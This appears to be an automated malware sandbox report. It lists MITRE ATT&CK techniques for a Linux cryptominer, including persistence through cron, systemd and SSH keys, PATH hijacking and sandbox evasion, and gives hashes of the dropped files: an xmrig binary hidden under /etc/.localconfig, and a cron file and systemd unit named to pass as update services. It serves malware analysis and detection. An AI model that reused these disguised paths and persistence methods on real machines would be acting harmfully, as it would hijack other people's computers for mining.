                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1059

                                                                                                                                                                                                                                                                                                            Unix Shell

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1059.004

                                                                                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                                                                                            Cron

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053.003

                                                                                                                                                                                                                                                                                                            Persistence

                                                                                                                                                                                                                                                                                                            Account Manipulation

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1098

                                                                                                                                                                                                                                                                                                            SSH Authorized Keys

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1098.004

                                                                                                                                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1547

                                                                                                                                                                                                                                                                                                            XDG Autostart Entries

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1547.013

                                                                                                                                                                                                                                                                                                            Boot or Logon Initialization Scripts

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1037

                                                                                                                                                                                                                                                                                                            RC Scripts

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1037.004

                                                                                                                                                                                                                                                                                                            Create or Modify System Process

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1543

                                                                                                                                                                                                                                                                                                            Systemd Service

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1543.002

                                                                                                                                                                                                                                                                                                            Event Triggered Execution

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1546

                                                                                                                                                                                                                                                                                                            Unix Shell Configuration Modification

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1546.004

                                                                                                                                                                                                                                                                                                            Hijack Execution Flow

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1574

                                                                                                                                                                                                                                                                                                            Path Interception by PATH Environment Variable

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1574.007

                                                                                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                                                                                            Cron

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053.003

                                                                                                                                                                                                                                                                                                            Privilege Escalation

                                                                                                                                                                                                                                                                                                            Account Manipulation

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1098

                                                                                                                                                                                                                                                                                                            SSH Authorized Keys

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1098.004

                                                                                                                                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1547

                                                                                                                                                                                                                                                                                                            XDG Autostart Entries

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1547.013

                                                                                                                                                                                                                                                                                                            Boot or Logon Initialization Scripts

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1037

                                                                                                                                                                                                                                                                                                            RC Scripts

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1037.004

                                                                                                                                                                                                                                                                                                            Create or Modify System Process

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1543

                                                                                                                                                                                                                                                                                                            Systemd Service

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1543.002

                                                                                                                                                                                                                                                                                                            Event Triggered Execution

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1546

                                                                                                                                                                                                                                                                                                            Unix Shell Configuration Modification

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1546.004

                                                                                                                                                                                                                                                                                                            Hijack Execution Flow

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1574

                                                                                                                                                                                                                                                                                                            Path Interception by PATH Environment Variable

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1574.007

                                                                                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                                                                                            Cron

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053.003

                                                                                                                                                                                                                                                                                                            Defense Evasion

                                                                                                                                                                                                                                                                                                            File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1222

                                                                                                                                                                                                                                                                                                            Linux and Mac File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1222.002

                                                                                                                                                                                                                                                                                                            Hijack Execution Flow

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1574

                                                                                                                                                                                                                                                                                                            Path Interception by PATH Environment Variable

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1574.007

                                                                                                                                                                                                                                                                                                            Impair Defenses

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1562

                                                                                                                                                                                                                                                                                                            Disable or Modify Tools

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1562.001

                                                                                                                                                                                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                                                                            T1497

                                                                                                                                                                                                                                                                                                            System Checks

                                                                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                                                                            T1497.001

                                                                                                                                                                                                                                                                                                            Credential Access

                                                                                                                                                                                                                                                                                                            Discovery

                                                                                                                                                                                                                                                                                                            System Information Discovery

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1082

                                                                                                                                                                                                                                                                                                            System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1016

                                                                                                                                                                                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                                                                            T1497

                                                                                                                                                                                                                                                                                                            System Checks

                                                                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                                                                            T1497.001

                                                                                                                                                                                                                                                                                                            Lateral Movement

                                                                                                                                                                                                                                                                                                            Collection

                                                                                                                                                                                                                                                                                                            Command and Control

                                                                                                                                                                                                                                                                                                            Exfiltration

                                                                                                                                                                                                                                                                                                            Impact

                                                                                                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                                                                                                            • /etc/.localconfig/updatemand/config.json
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              931B

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              4d325ada6382f28b57d6c704d50da042

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              d2aac70767c09e7f58e7491af279db1ab57544c1

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              022bf91672fc13e29a14b02d0e99ca0e40ba072e11afb635d5fbc8ab4315c38a

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              ab6be2f419956e1e9b0d24fe5268df5a82ddcd4b358ccda1f560da6a03fdc9e01c9145d190722f809d50db889258958e9d92fb54bc85a6af902d4703a43a608e

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • /etc/.localconfig/updatemand/config.json
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              2KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              30bd2ba34252c740e69c762c5f46060f

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              eb0a73fceaea97f3e6729c1a01b0cddb238fabd0

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              4cf410b448a36720a1262d1aee3ea25942f0f9c7007d451a7ebddf6969e6edcf

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              bdb8f8127406ba55346178743d11ddb47f59132c45b67e694f8a894981fb381498b8de7a981f6fae6d8708be43fc0fca2389b238d142dedab82a8f335d907be5

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • /etc/.localconfig/xmrig-6.19.3/xmrig
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              8.5MB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              4419f5340ebc0527e3650594ede72e3a

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              2a6b6c68d49fa5037bc3aa169ce3cfcc59b20518

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              59d559982680c1e73472ee34dc37bed95503dff168b0d025c1fa634a19a925d7

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              f3a5b31ed4acb34bd43b4d65f1afb01b0170a8bfa0451ea6bf04fbf7ad7217a0491c8ffdeebc0f9bfe349c786fee34377443df8d2dbba7571f4be3b0be0e52b9

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • /etc/cron.d/localupdatemanager.cron
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              325B

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              0f15b457e0d0deebb37816494ff886ba

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              ca805d4a92a8e59a153e4a62579a200e6247f537

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              f4405eb07bc3b0f5e4b2194ab44f7830981d1b316c35c18a366c08e13c5bb3e6

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              668bf3fb006f19cbbb820af732784aadb6ae4c17cabcbd35d87eed003bd6031e12539f754bf0d3d6ef03f635b6661531218f87a7bd1457c712798a3312eac0a6

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • /usr/lib/systemd/system/localupdatedaemon.service
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              245B

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              d1357b7a301859888e9617a94bdbc70d

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              5a9f911e6486f4d9eb08eb8bb1a8edb3eefc310b

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              582d5ebf4bb56746868db528d20a70678e6723d19560f845c7bfd6dacd85b861

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              016f0cb4c4fd20bb7185cebdf933b414ac8375c77d04eb9aeb4ccc3838684fe8434cd0d35ee90a35c2095a174b84bbe5f2a7aac6908509c23a97264881b99f38

                                                                                                                                                                                                                                                                                                              Download Submit